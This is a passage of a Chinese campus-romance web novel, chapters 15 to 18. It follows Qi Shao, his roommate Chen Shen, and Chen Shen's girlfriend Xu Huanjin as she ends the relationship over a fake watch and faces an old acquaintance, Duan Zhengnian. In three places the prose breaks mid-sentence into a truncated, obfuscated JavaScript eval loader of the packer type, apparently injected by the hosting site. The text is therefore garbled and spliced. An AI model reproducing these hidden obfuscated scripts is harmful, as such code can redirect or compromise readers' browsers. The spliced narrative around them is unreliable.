这种周全的关切许还今到现在还不太适应,事实上,从知道祁绍和陈深是舍友之后她就在避免和对方接触。 等候区这边学生多,交谈声不断,听起来略有些吵闹,许还今目光停在他的右肩,说道:“不用了,谢谢。” 祁绍抬头,温和地问:“嗯?” 许还今没回答就想起身,拿包的时候从纤细的包身里掉出一只口红。 祁绍反应快地伸手接住,还没等他有下一步动作,对方却率先弯腰从他手中拿过口红。 “我男朋友会介意,谢谢你的好意。” 她头发微散,一绺长直发拂过祁绍的手臂又顺从落在她耳侧,触感柔软细腻。 这下换成祁绍愣住,刚想解释,说我帮的是你的工作,应该没事。 但没说出口,陈深他们已经回来了,许还今站起身。 祁绍只得收手,空握了下拳头。 手臂上,有股轻微的酥麻感过电般穿过。 15. 第 15 章 饭桌上王行泽在安排明天比赛的事情,比赛有五人加三人组队两人模式。 因为只有前三名才有综测分,所以祁绍只参加五人组的比赛,负责带队。 五人组有陈深,许还今,秦新月和王行泽,剩下的薛彩钱吊车外加陈深再组一队。 比赛都在南楼的103教室举行,三人组先开始,晚上六点初赛,五人组七点半,具体时间要看抽签结果。 王行泽说:“祁绍,明天全靠你了。” 祁绍点头。 他今天似乎心情不佳,许还今这边才吃了几口,祁绍那边已经吃完起身打算走了。 王行泽提醒说:“你打游戏早点回来休息,晚上还要打比赛。” 祁绍嗯了声。 他在网吧一般点包间,但今天网吧人多,网管给他在大厅里找了个机子。 旁边有位光头大哥正在打电话,目测一米九纹身男,两条花臂大大咧咧地摊在桌上,但哭得尤为激动。 “宝宝,亲爱的,我不能没有你啊,宝宝!宝宝!” 祁绍打开游戏登上账号,大哥哭哭啼啼地说:“你是不是就爱小白脸,我也能改,我这就去把纹身洗了!宝宝!宝宝!” 祁绍不由得侧身看了下大哥的纹身,满臂,这洗起来不是一般的痛,果然,爱情让人头昏。 他刚开一局消息,隔壁大哥还有更头昏的操作,他左躺右躺没找到可靠的依赖,疑似神经病地靠在了祁绍的肩膀上。 祁绍:“……” 大哥毫无冒犯他人的意思,靠上来之后哭得更大声了, “你说爱我为什么不收我的礼物,那是我辛辛苦苦赚钱买的,宝宝!宝宝!你是不是变心了……” 祁绍点了两下屏幕页面,在当透明人。 那边不知道聊了什么,大哥破涕为笑,笑得跟朵向阳花似的,一米八的大汉扭扭捏捏地像个被恶劣亲戚调戏的孩子。 “我就知道你爱我……那人家又不知道……宝宝,我真的哭了,不是假的,不信你问呢。” 手机举到祁绍面前,祁绍都没敢回头看大哥的脸,老实回答:“嗯,哭的泪流满面,特别感人。” 也特别惊悚。 他这句话说完,对面女生一脸惊喜:“小哥哥,你声音好好听呀!长得帅不帅呀?” 祁绍:“……” 眼看大哥又要泪崩,祁绍赶紧拍了拍大哥的肩膀以示安慰。 在祁绍敷衍的动作和狠心女友的一句句:“小哥哥你再说句话嘛”的请求下,大哥终于伤透了心,鬼哭狼嚎地离开了。 祁绍揉了下肩膀开始打游戏。 没几分钟,身边又坐了一个男的,一开始是在打游戏,还和祁绍玩的是同一款游戏。 但玩了两局,祁绍摘耳机喝水,隔壁男的也举起手机。 “哇——老婆,我想你想的睡不着觉,为什么你对那个男的那么好?!” “老婆!老婆!咱俩和好吧——” “……” 祁绍手一顿,感觉今天这个网吧风水可能和他犯冲。 他勉强又打了两局游戏,在经历隔壁抽烟痛哭,砸键盘之后祁绍果断站起身去前台提前退台。 出去后他又找了家电竞酒店,掏手机付钱的时候顺带摸到了口袋里的卡片。 上面有好几个对接人的联系方式,基本都是一线品牌。 这还是祁绍问董女士要的,但是人家不收,这就没办法了。 硬制的纸硌着手掌,祁绍进去房间把卡片扔在桌上,开电脑戴耳机,昏天黑地打了两个多小时,八点半电话响了,是祁坤。 祁绍一局游戏还没打完,接了电话放在桌面上问:“坤哥,什么事?” “你的手表拍下来了,刚送过来,看一眼好不啦?” 祁绍摁了几下键盘,拿起手机。 上个世纪的名表到今天珐琅色依旧浓郁,祁绍勉强提起点劲,多看了几眼。 “多少钱?” “比估的贵了一倍,”祁坤说道:“不过你喜欢嘛,老爸怎么着都要买给你。” 祁绍这一天天的对什么都不敢兴趣,唯一的爱好就是玩表,所谓玩车穷一代,玩表穷三代,祁绍自称自己花钱不多,实际买表的时候出手比谁都大方。 他那半柜子的表每只拿出去都价格不菲,但祁坤就他这一个儿子,家里从上到下对祁绍的态度就是不管多贵,你喜欢咱就买。 祁绍点点头,说:“谢了坤哥。” 他这个反应实在有些平淡,祁坤往前镜头前凑凑,问:“咋了儿子,不高兴?” “没。” “看上别的表了?你和老爸说,爸给你买。” “还没。” “真没?老爸看你心情不好……” 聊了两句,董女士从房间出来刚好听到这句话,连忙走过来问:“发生什么事了祁绍,你遇到麻烦要和家里说,是不是在学校上学不高兴,叫你爸爸接你回来住两天好不好啦?” 董持云的妹妹有个女儿,曾经和祁绍都在浦江六中读书,比祁绍大一级,高二那年遇到了校园霸凌,因此换上了抑郁症,还自杀过,后来祁绍的小姨送她去国外读书,经过几年的治疗才略有好转。 经历过这件事之后,本就对祁绍要求不高的董持云更是对他放低底线,只要祁绍过得高兴一切都好说。 祁绍举起手机,把摄像头对准自己的脸:“没事,刚才打游戏困了。” 他脸色看着还好,董持云略微放心,劝道:“困了就去睡觉,不要成天都打游戏。” 祁绍点头,“我一会就去睡。” 这次董女士也没聊女朋友的事情,聊了两局就催着祁绍去睡觉,把电话挂了。 本来祁绍说睡觉是谎言,但他又打了几句游戏之后实在觉得今天很没劲,才十点就去睡觉了。 但没睡着,祁绍的大脑里还在想着吃饭时候的事情。 许还今很明显的在抗拒他的接近,就算是对男朋友的舍友要避嫌,可她对王行泽、钱吊车他们也不这样。 他有对许还今干过什么混账事吗?明明他们之前接触很少。 难道是他得罪过陈深,以至于许还今为了男朋友看他不爽。 没有吧,他和陈深也很少说话。 祁绍在床上静静地躺了几分钟,拿起手机,屏幕上亮起了一条消息, Veloce【在?】 Veloce是祁绍好友荣觉的微信名,和祁绍从小玩到大,从幼儿园到高中都在一起上学,大学才分开。 高考的报志愿的时候荣觉为了逃避家里的监管决定自己报志愿。 原本他想报一所离家远事少的大学,但马失前蹄,经过多番比较,在志愿平台和学校招生办的双重忽悠下,成功把志愿填进了大山里。 ——报考的学校在一个偏僻的县城,还是山脚下。 属于上个学成功把自己整流放了,荣觉本来是圈子有名的会玩爱玩,日常就是赛车跳伞滑雪这些。 一朝进了大山,差点没把他整抑郁。 恐龙【在】 【有什么事?】 veloce【干妈说你心情不好,让我问问你,怎么了祁绍?】 荣觉的母亲和董持云是闺蜜,两家交好,董持云因此认了荣觉当干儿子。 恐龙【没事】 发完,祁绍顿了几秒,忽然发语音问:“我前几天想送一个女生礼物,她是模特,我找了几家珠宝工作室的名片给她方便她借珠宝,但是她不收,这是为什么?” 祁绍问【她不喜欢我送的礼物?】 【我从董女士那买条手链给她?】 那边荣觉几秒没说话。 五分钟过去,发来一个【?】 恐龙【什么意思?】 恐龙【你也不懂?】 荣觉干脆也发了语音,磁劲的低音,“不懂别人,懂你。” 恐龙【?】 荣觉轻描淡写:“你爱她。” “……”,祁绍:“??!” 祁绍被这句话砸得有点懵,直接从床上坐起来,室内温度很低,他十分严肃地发【好哥哥你别乱说。】 荣觉:“没乱说,我给你分析分析。” “首先,这是你第一次和我聊起除你我亲戚之外的女生。其次,干妈设计的首饰不便宜,你说你只见了她几面,叫别人女朋友宝宝虽然可耻但不至于送这么贵的礼物当赔礼。 “这只有两个原因,第一你脑子有病,第二你爱她,所以想送她好的,人家不收你不爽。” 祁绍:“……” 祁绍:“她是我舍友女朋友,我不可能爱她。” veloce【既然你不爱她,东西送了你歉意也传达到了,这件事不就结束了吗?】 Veloce【还是说你真脑子有病?】 荣觉说的有几分道理,祁绍抓了两下自己的头发,重新躺倒。 恐龙【不想聊了,睡了】 祁绍这次睡着了,但醒得也早,七点多就醒了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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花开富贵【你要两万给那个女生花?妈妈说过了,一个学生应该先搞好自己的学习,不要去干乱七八糟的工作。】 花开富贵【她家庭情况差劲,你长大了,应该知道社会上有些人心思不单纯,图钱图家产……】 这话的意思就是在说许还今是因为钱才和陈深在一起的,陈深一个头比两个大。 【好好,我不跟你说了妈,你这么把人想的这么坏?】 他把手机关了,这条路行不通但是钱还要继续搞。 陈深忽然想到了什么,起身走到祁绍身边,拍拍他的肩膀,俯身小声地说:“祁绍。” 祁绍伸手摘下耳机,但眼睛没离开屏幕,“有事你说。” 陈深别扭地开口:“我想问你借点钱。” 祁绍的语气没有任何变化,问:“借多少?” “一万八,”陈深找借口:“我看上一条裙子想买给我女朋友,差点钱,过几天等我把球鞋卖了还你。” 祁绍愣了一下,他控制着人物转了一圈,说:“行。” 然后握着鼠标,单手去拿手机,陈深本来以为他要看看余额,没想到祁绍直接就发了。 一万八一秒到账。 陈深有点牙酸,他知道祁绍很富,而且是那种完全和普通人不是一个阶级的富。 平时这种不明显,顶多是祁绍用的东西都很贵,只有在看他朋友圈偶尔发的那些内容时陈深才能大致领会一下。 赛车名表,家里能从地下车库直接开到客厅,朋友也都是非富即贵,比如他那个外甥段正年。 豪车不重样,女朋友换的比车还勤快,一出手就是名牌包,历任女友没一个说他不好的。 陈深心里有微妙的不是滋味,但普通的差距还能说可以激励自己奋发上进,努力一下能超越,像祁绍这种,除了背后吐槽一句运气好会投胎之外已经让人没啥比较的欲望了。 陈深说了声谢谢,祁绍点头,“钱你不用急着还我。” “哦哦好,谢了兄弟。” “没事。” 陈深过会也去了隔壁寝室,祁绍在桌子前坐了几分钟,起身收拾东西打算去外面住几天。 把手机塞进口袋时又摸到了那张卡片。 祁绍拿出来,折了两下,随即扔进垃圾桶。 16. 第 16 章 周日上午,陈深今天说要把手表给她,许还今下午要出去拍照片,两人约在了中午在食堂见面。 陈深给她点了一杯奶茶,他知道许还今需要长期减重,点的是无糖纯茶底。 见了面陈深接过她手里的包问:“累不累?” “不累,”许还今接了奶茶,却没打算喝。 陈深牵着她的手问道:“你今天去哪里拍的图?” “江心路,拍的外景。” “这么热还拍外景,还拍这么久,肯定很累,”陈深提议:“我晚上带出去吃饭?就当放松了。” 陈深的手上有一层汗,天气炎热,他又把许还今的手攥得特别紧,黏腻的感觉让人很不舒服,但许还今也没有挣开手,说道:“不用了,我晚上还有一个活动要参加。” “什么活动,能代签到吗,我去帮你签到。” 陈深人缘很广,他还在学生会中有任职,和大部分办活动的部门都认识,就算代签别人也不会说什么。 “不需要代签,”许还今说:“活动很简单,几分钟就能结束。” “几分钟你还要再去一趟?”陈深还是想帮忙,说道:“我陪你一起去好吗?” 许还今正握着奶茶杯,还没说话,陈深等不及似的低头看她。 她鼻梁上有些脱妆,脸也被阳光晒得有些泛红,今天拍摄时化了眼影,淡粉色的闪粉扫在眼皮,随着她。 多重色彩的叠加让她整张脸看起来比往日更加生动。 陈深抬起胳膊擦了下额头上的汗,几乎是下意识的想去亲她。 刚靠近,许还今躲开了,仍旧是往常一样不急不缓的声音, “你想来就来。” 天气太热了,陈深心里涌上一股烦躁感,有些不满:“宝宝你都不能说一句需要我帮你吗?” 也不让亲,从他们正式谈恋爱以来亲吻的次数屈指可数,每次还都是浅尝辄止。 许还今笑了一下,说:“这些小事我自己就可以,需要你帮忙的时候我会开口。” 她这样一说,陈深在烦躁的基础上又多了几分挫败感。 许还今找他的次数比他们亲吻的次数还少,满打满算就有两次她让自己去拍摄场地接她。 当时还是因为拍摄场地有个男模特喝多了,一直缠着她不放,许还今才打电话给他让他去接。 除此之外,她无论做什么事情都习惯一个人,平日甚至很少联系陈深这个男朋友。 女朋友太独立也不好,陈深不爽归不爽,但正好走到食堂门口了,他也不好再做什么。 进去点餐,许还今一如既往地吃的少,就点了一些蔬菜。 陈深买了一份炒饭,刚坐下,又碰见两个学生会的熟人,陈深和他们聊了一会。 两人说那边还有学生会的人,问陈深要不要过去聊几句:“段正年和他女朋友也在,部长你过去玩一会吗?” “对啊,部长,那边人可多了,他们金融学院学生会的基本都在。” 陈深本来还在犹豫,听到段正年这个名字之后直接拒绝了,皱眉说:“你们玩吧,我还要陪女朋友。” 段正年和陈深的关系一般,虽然都为学校里的风云人物,平时也有些交际,但两人每次见面讲话基本不会超过三句。 明明他们都和祁绍关系不错,有时候段正年来宿舍找祁绍也多少会和其他几个舍友聊几句,其他舍友对段正年也没有意见,只有陈深,每次段正年一来他就往其他宿舍跑。 陈深对此的解释也很简单,他就是看段正年不爽。 等两人走后,陈深还和许还今吐槽了一句:“我都懒得看见段正年,怎么今天他在食堂吃饭?” 许还今拂了下耳边的碎发,说道:“也许是为了陪他女朋友吧。” 提到这个,陈深有话说了:“这个月还没过完段正年已经换了一个女朋友了,牛逼,他跟祁绍两个极端。” 陈深有时候也很八卦,和许还今说:“之前段正年有个女朋友分手后在我们楼下拦住了祁绍,哭的一把鼻涕一把泪的,本来想让他评理,但是估计是看祁绍太帅了,一边哭一边要祁绍联系方式,把我们都逗乐了。” 陈深说:“不过他说话真有用,段正年回头又哄了那个女生快两个月,比他历任女朋友谈的时候都长。” 陈深讲完,非常感慨地说:“怪不得祁绍不出门,一出门指不定在哪遇见姓段的前女友,要是每个人都来找他哭,祁绍烦都要烦死了。” 许还今安静地吃着饭,咽下嘴里的一块冷掉的虾肉,说:“脾气好吧,对谁都好。” 聊了一会,陈深把手表拿给许还今,他挺高兴的,但许还今接过手表看了下,发现这是块假表。‘ 她送给陈深的那块手表背面有两个小小的字母刻字,刻的是陈深的名字缩写,“cs”。 但是这块手表上没有,而且手表的重量明显偏轻,就连表盘刻度的做工都与许还今送给他的那块相去甚远。 陈深也许没想到这是块假表,也许是故意拿这块表的。 但是无论如何都代表着陈深确实把手表弄丢了,前者意味着陈深从别人手中拿回手表时被糊弄了,后者代表陈深在糊弄她。 到这一步,许还今不想再具体纠结到底是什么原因,陈深出轨也好,和秦新月有什么也好,她只想快速地抽离这个旋涡,不想花时间去计较。 许还今把手表重新递给陈深,说:“你戴着吧。” “这次我肯定好好戴着,”陈深脸上浮现笑意说:“手表都找到了你别生气了好不好?” 许还今点了下头,没有直接在食堂说分手。 吃过饭,许还今要赶去拍摄场地,陈深说要送她,被许还今拒绝了,“我自己过去。” 陈深晚上可能还有事,也没有强求。 许还今是在车上提的分手,理由是手表是假的,自己可能需要慎重考虑和陈深的感情。 陈深发了好几条消息 【怎么是假的了?】 【宝宝你到拍摄点了吗,我去找你,我们当面聊】 …… 许还今静静地扫过这些消息,随即关上手机。 到了拍摄点,今天人很多,她拍了半个小时就暂时去更衣室那边休息,在走廊上遇见熟人。 段正年的女朋友,苏清涵。 她和许还今同校,是艺术学院的舞蹈生,签约了南江当地一家有名的模特经纪公司,偶尔会和许还今在拍摄场地遇到。 苏清涵在走廊上,旁边的助理正在给她整理发型,见到许还今连忙招呼她:“许还今?这里,你今天也来这边工作?” 许还今揉了揉手臂,侧身点头:“嗯。” 苏清涵说:“你接了谁的片子?” “猫猫老师。” “啊,”苏清涵闻言小声说:“他可是有名的压榨员工,我身边的人遇到由他的合作都直接推掉的。” 模特行业内的大部分工作都有各家经纪公司把持,有些杂志和拍摄方也只有大公司才有联系渠道。 为了捧手底下的模特,公司会给她们规划不同的发展路线,按照需求安排工作。 一小部分则会分给独立经纪人,剩下的百分之一才会直接联系到模特本人。 许还今没有签约公司,她现在的资源全靠当时高考后重回浦江,在一场场拍摄中积攒出来的。 除了当一些方便联系的购物平台的服装模特,就是从像猫猫老师这样的独立经纪人手里接活。 工资相对较低,但结款及时,对许还今这样需要赚取生活费的人来说非常方便。 同样的,比起有公司的,她能接的工作有限,因此基本是有拍摄就去,不怎么挑。 许还今说:“还好,他那边结款及时。” 苏清涵平时和许还今也就是见一面的关系,但今天她一个人来这边工作,干脆就和许还今聊起来了,劝道:“你也应该签个公司,你最近有在试镜什么拍摄吗?” “一个珠宝拍摄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许还今总是能闻到各种各样的烟味,抽雪茄的老总,抽爆珠的学生,抽普通盒装烟或者电子烟的某某。 唯一接触过不抽烟的,是祁绍。 段正年靠在门边,好一会没说话。 那边叫许还今去换衣服,她往回走,没看段正年,但段正年叫住她:“听说你和你男朋友闹得不愉快?” 许还今毫无接话的意思,仍然往前走。 段正年在身后,难得正经:“许还今,我是不是该和你说句好久不见。” 许还今脚步一顿。 回头看他,她长得还像三年前,只不过那时她妆容没有这么浓,但即使素颜也漂亮到令人咋舌。 “我们没有再见的必要。” 段正年点了支烟,没生气,依旧在盯着她看。 他还能记起来当时在六中第一次看见许还今是什么样,那天天气不错,许还今背着书包,戴着灰色口罩,伸出手,对他抿唇笑:“你好,许还今。” 那时候段正年对漂亮这个词的印象还停留在杂志上腰细腿长,红唇烈焰的模特上,和她们相比许还今太显年轻也太清淡。 也记得后来她隔着遥遥人海顺便递过来的一眼,记得她摘下口罩化了妆,摸样不输段正年见过的任何一位超模。 段正年换了话题,把一些困惑挨个问出口:“你回老家那几年过得怎么样?” “……” “你男朋友什么时候谈的?” “……” “为什么化妆?” “……” 许还今没有说话,她看着段正年,视线里暗藏着若有似无的意味,仿佛在讲,你问的这些都和你没关。 段正年又抽了一口烟,青白的烟雾漂浮在唇边,望着她把话题转到第一个问题上:“那你和我小舅有必要吗?” 我没必要再见,他有必要吗? 17. 第 17 章 段正年认识许还今,甚至他们俩认识的时间比和陈深还要长。 五年前一家基金会和六中合作推出了专项助学项目,许还今因此得到了一位珠宝设计师的资助从镇川来到浦江上学。 浦江这个地方对许还今来说不陌生。 她是童模出身,在母亲的培养下从从一岁开始拍摄母婴餐品,童装,到后来她慢慢长大,开始拍摄时尚杂志,接触走秀。 浦江是一线城市,汇聚了大部分的时尚资源,从许还今记事开始,她就一直辗转在浦江的各个拍摄点,在出租房和影棚里度过一天又一天。 许还今的母亲以前也是模特,外形靓丽,参加过港圈选美,但是运气不好,当年的选美她名次靠后。 生下许还今之后她便把大部分的期望都寄托在了自己女儿身上。 童模行业里畸形现象很重,因为小孩没法像大人那样表达自己的想法,和摄影师沟通的往往是家长。 好一点的家长会考虑到孩子的健康合理安排拍摄。 但更多的是家长按照自己的意愿去接商单,为了赚钱不顾一切,也不管拍摄项目到底适不适合孩子。 不过所幸许还今从小就对拍摄展示出了非常高的配合度,摆姿势,换衣服……别人怎么说她就怎么做,从不哭闹,一直有摄影师说她天生就是吃这碗饭的。 但这样造成的结果就是,许还今没时间上学。 从幼儿园到高中,她一直都是断断续续地上学,有时候一周才去一两次学校。 到中考的时候许母和一个模特经纪人恋爱,结婚。 婚后两人打算出国,没时间管许还今,干脆让她回了镇川老家,去和外公外婆生活。 其实许还今的中考成绩还可以,虽然算不上拔尖,毕竟她上学的时间不多,但还是考了六百五十多分,能上个不错的高中。 镇川的教育水平比不上浦江,师资力量有限,许还今回到镇川后在那里待了一个暑假。 假期中,她偶然收到了一家以前合作过的珠宝工作室的宣传邮件,上面说的就是资助的事。 许还今联系了他们,成功得到资助,来到浦江上学。 她再回到浦江时刚好是开学第一天,进入的就是段正年的班级。 当时段正年被班主任责令让他去校门口接转校生。 许还今冲他打招呼他也没理。 不过也情有可原,那时虽然才刚开学,但段正年的名气已经很大了。 纨绔子弟这个词简直就是为了他量身定做的,有钱,没有升学压力,日常只有吃喝玩乐,约约美女看电影。 其实在浦江的那一年他们接触的不多。 六中虽然是公立学校,但师资强大,资金充裕,多的是有钱有势的少爷小姐,像许还今这种资助生和他们有着天壤之别。 段正年忙着和自己兄弟勾肩搭背,忙着打球约会,谁有功夫注意到一个转校生? 倒是许还今转校之后他反而来过一次镇川。 一眨眼几年过去,其实许还今从来没想过会再和当初六中的人遇见。 没想到会遇见段正年,也没想到会再遇见那个人。 * 这边走廊僻静,许还今转过头,她视线沉着,纤细的白色吊带挂在她肩颈,衬得她像一支沾了水的百合,温和,平淡却又不枝不蔓。 许还今说:“我们之间的事情不用你操心。” 段正年低头点了支烟,强调说:“不是你们,是你,有些事可没人敢告诉我小舅。” 祁绍在他们那圈朋友里地位最高,就连像段正年这种人在外面再怎么胡闹,当着他的面也必须收敛几分。 有些事情祁绍不想听,就没人敢和他提。 祁绍身上大部分公子哥般的没所谓,懒散,就是在这种完全顺着他心意的环境下养成的。 远处传来苏清涵叫段正年的声音:“正年,正年?” 但段正年置若罔闻,他抽了一口烟,倚在墙壁上问:“和你男朋友分手了吗?听说你们最近闹的不愉快,陈深家里挺有钱的吧,满足不了你?” 许还今压根不接他这个话题,而是问道:“white的拍摄是你安排的吧?” 有业内关系还能精准把这个资源给苏清涵,除了段正年就没别人了。 段正年嘴角轻挑,倒是很直白:“我给我女朋友找资源你也有意见?别怪我,要怪就怪你那个废物男朋友没本事。” 许还今抿唇,她笑起来梨涡明显,有点天真感。 段正年半眯眼,听见女生说:“段正年,好久不见,你还是一点没变。” 清润的声音和过去重合,当初他去镇川,听到的也是所差无几的一句——“段正年,你一点都没变,下次不要来了。” 许还今转身往外走,身后,男生猛然出声,语气阴鹜:“许还今,你少他妈刺激我。你应该比谁都清楚,全世界就你和他最不可能!” * 寝室的门被人一把推开,结实的铝合金门砸到墙壁,“砰”的一声,床上王行泽条件反射地坐起来,喊了声“到!” 之前军训那会教官查寝,306是被重点关注的刺头宿舍,他们教官总是冷不丁地推门,然后要求所有人在一分钟内答到。 搞得跟服从性测试一样,门一响,所有人立马就要起身。 最频繁的那次一晚上推了六次306的门,给王行泽都整出心里阴影了。 王行泽这一声“倒”把旁边钱吊车喊笑了,他赶紧搂住兄弟的头劝道:“睡吧兄弟,不是咱教官。” 过了几秒,王行泽才清醒,当即拉开钱吊车要看是谁摔的门,“能不能好好关门开门?大晚上的寝室是你家啊?” 陈深脸上的表情不算好,冷着脸,他倒也不是素质特别低的人,主要是脾气冲,心里一有火就控制不住,闻言回头看,生硬地说:“对不住。” 说是道歉,语气一点没软。 王行泽本来就有起床气,而且忍他快两周了,再一听这个语气立马火了,刚想说话,“我逼着……” 钱吊车赶紧摁住他,和事佬般小声劝道,“算了算了,都是自家兄弟,理解一下。” 王行泽没动静了,也不是服了,主要是钱吊车这肌肉男,一米八一百七十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王行泽碰到八卦终于舍得原谅陈深两秒,掐着声音模仿道:“学长,我不喜欢男生穿白外套!” 成功把何所逗急眼了。 毛猴继续拱火:“认命吧老何,学妹是看上你的竞赛了不是看上你人了。” 这件事的起因是去年何所和一个学妹谈恋爱,学妹先向他表白,说看上何所沉稳可靠的能力了,非常喜欢何所。 三五句话把何所感动的,觉得三年终于有人慧眼识珠爱上他了,那学妹当时还是何所的初恋。 他忙前忙后,给她找课题写作业,带她参加竞赛。 结果竞赛刚结束,学妹立马和他掰了,理由非常离奇。 学妹说她不喜欢男生穿白外套,而恰恰,何所就有一件白色外套。 时隔一年,何所仍旧控告:“那是我的实验室服装啊,我带她和我药学的朋友参加大创,不穿实验服吗?!” 钱吊车笑得乐不可支,拍拍他的肩膀,“学长,看开点。” 毛猴说:“这不马上就有人陪你了,你不止一个人学长。” “哎,宿舍风水有问题,情感不顺啊,兄弟们找个舞狮团驱邪吧。” “别神经,我挺顺的啊。” 在宿舍你一眼我一语的情况下,陈深眉头紧皱。 祁绍摘下耳机,摁了几下键盘,难得参与宿舍的话题说:“不至于,你们再好好聊聊。” 18. 第 18 章 陈深只忍了一天,第二天周一上午,许还今还在上课,他就已经在教室外面等着了。 他知道许还今的课表,之前偶尔也会来教室外等人。 新闻学院女生多,一到下课时间走廊一溜全是来接女朋友的男生。 陈深站在人堆里不突兀,但下课铃声刚响,教室里老师还没喊下课,他就站到门外。 教室里顿时响起轻微的议论声。 前面的教授回头跟陈深对视一眼,又转过来说道:“以后男朋友来接人不要打扰我们上课,把这个知识点讲完我们下课。” 康婷好奇地探身打量,看到了门口的陈深,她低声问许还今:“他今天怎么有空来接你了?” 这是下午一、二节课,不挨着晚饭,平时两人上完课都是一起去下一个教室。 康婷问:“他要陪你上课?那我下节课坐远点……” “不用,”昨天许还今很晚才结束拍摄,干脆就没回宿舍,借住在拍摄场地的员工间,早上才回到宿舍。 放下东西就准备上课,还没来得及和康婷说这件事,她说道:“我们分手了,昨天我提的。” “啊,”康婷惊讶地叫了声,台上的老师看过来。 康婷坐直身体,装模做样地翻了两页书。 一道题目老师讲的很快,他刚喊下课康婷立马回头低声问:“为什么分手啊,他对你不好?” 许还今还没来得及回答,那边陈深三步并作两步地小跑过来,语气着急:“还今,你昨天发那些话是什么意思?我们聊聊,有事好商量,你别总提分手。” “……”康婷看看两人,识时务地拿起桌上的书本说道:“还今我先去教室占座,你聊完快点过来。” 许还今朝她点点头,说道:“好,谢谢。” 然后才转头对陈深说:“去外面说。” 连廊处到处都是学生,在这说话不方便,许还今在教学楼下的草坪处找了个僻静的角落, 刚站定,陈深就迫不及待地往前想抱她:“宝宝,不要分手好不好?” 许还今后退半步躲开他:“别抱我,你想聊什么赶紧聊,我待会还要去上课。” 她语气寻常,但陈深听出来几分疏离的意思,他知道许还今性格比较独立果断,分手绝不是随便说出来威胁他的,立马着急了,解释说:“手表怎么可能是假的,你看错了吧?” 陈深会来找自己也在许还今的意料之内,以他的脾性不仅学不会反思,肯定还会觉得自己莫名其妙地被提分手很委屈。 许还今问:“你手表是从谁哪里拿回来的?” 陈深心虚地说:“我妈寄过来的……” “真的吗,”许还今说:“我之前给的那块手表上刻有你名字的缩写,你回去看看现在这块上有吗?你一直都没发现吧?” 陈深确实是没发现,他表情顿时有点崩,但还是强撑着说:“可能你没看仔细,也可能……也可能是我妈寄错了!对,你知道我妈工作忙,平时还要管学生,宝宝你不能单凭这个就说分手……” 他说到最后连自己都知道理亏,声音低下去。 许还今条理清晰地说:“陈深,我不是傻子。当初我们在一起的时候我说的很清楚,我不喜欢说谎,也不想在感情里耗费精力,如果你让我感觉到了不稳定,我会说分手,当初你也说了好,我们都成熟一点。” 其实许还今没有笃定陈深一定和谁有关系了,出轨秦新月或者是其他。 先不说秦新月桌上的手表到底是不是陈深的那块,许还今没有仔细辨认过,不能确定。 即使真的是同一块表,可能的原因也很多。 比如体操训练的时候大家东西放在一块,拿衣服的时候刚好匆忙拿错了。 可如若他们是真清白,陈深大可直接向许还今说明情况,然后拿回那块表。 要是有其原因,真是粗心弄丢了。 以陈深大大咧咧的性格,倘若他问心无愧,只会向许还今耍赖说:“那真找不到了怎么办,我再买一块就当是你送我的,给你也买一个,别生气了。” 认识这么多年,许还今也比较了解他。 而不是像现在这样百般找借口,拿一块假表,还要说是自己母亲寄过来的。 陈深的目前当初在镇川中学教学,她了解过一些许还今转学的原因,也一直不太喜欢她。 甚至不止一次地让陈深和她分手,如果陈深真的把手表放在家里了,陈母是绝对不会再给他寄过来的。 事情到这一步,唯一能证实的就是,一,陈深对她说谎了 二,手表的事不止那么简单。 但具体真相是什么,许还今不想接着探寻,这是陈深自己的事情。 无论结果如何,陈深都让她感觉到了不稳定。 所以她现在需要做的就是快速分手,从这段感情中抽身。 许还今说:“你送的礼物稍后我会整理出来还给你,我先去上课了。” 她转身要走,陈深心里一阵恐慌,连忙拉住她:“我不要礼物,我只要你……现在事情还没弄清楚,我不同意分手,还今,宝宝你听我说!” 上课铃声响,许还今的耐心也到了尾声,她皱眉说:“分手不是你一个人说得算,你不同意就不分,放开,我还要上课。” “我不放,”陈深不依不饶地再次拉住她往前走:“我跟你一起去教室,反正我下午没课,你是不是根本就不爱我,就是想找个理由和我分手!!” 周围有学生朝这边看,许还今加重声音想挣开他:“陈深,我不想撕破脸。” 陈深铁了心不放手,他是体育生,许还今再怎么样力气也比不过他,僵持几分钟,眼看快要迟到,远处传来一句高声呼喊—— “陈深,你在哪干吗?” 许还今回头,看见王行泽正站在不远处,旁边,祁绍也在。 男生视线朝这边看,许还今感觉他好像看了一眼陈深拉着自己的手。 目光明显,许还今莫名一顿。 * 祁绍和王行泽也刚下课,后者下课必先去厕所,祁绍等他。 两人知道现在才出教学楼。 按理说许还今和陈深站的地方算是比较偏僻的角落了,平时没人会注意那边。 结果今天王行泽对八卦有蜘蛛感应,不偏不倚,半路回头一眼正好看到陈深,他赶紧拉住旁边的祁绍:“祁绍,祁绍快看那边是不是陈深跟他女朋友?” 祁绍抬眼,他视力好,也看见了两人。 王行泽啧啧两声,说:“这一看就是又吵架了,别一会陈深回宿舍又要发疯了,这次再tm烦,我真要跟他拼命了。” 那边陈深拉着许还今的手似乎在说些什么。 女生想挣开手,但没成功,陈深拉着她不放。 王行泽看完,感叹几句,正打算让祁绍走:“走了,你不是要赶着回宿舍打游戏吗,何所还等着你帮他处理数据。学长这个论文现在是越写越简单了,什么都问你,祁绍?祁绍……” 祁绍打断他,下巴往前一点说:“叫陈深。” 王行泽:“?!” 王行泽没反应过来:“为什么叫他,你找他有事?” “快点,”祁绍说。 “……” 王行泽照做,出声:“陈深 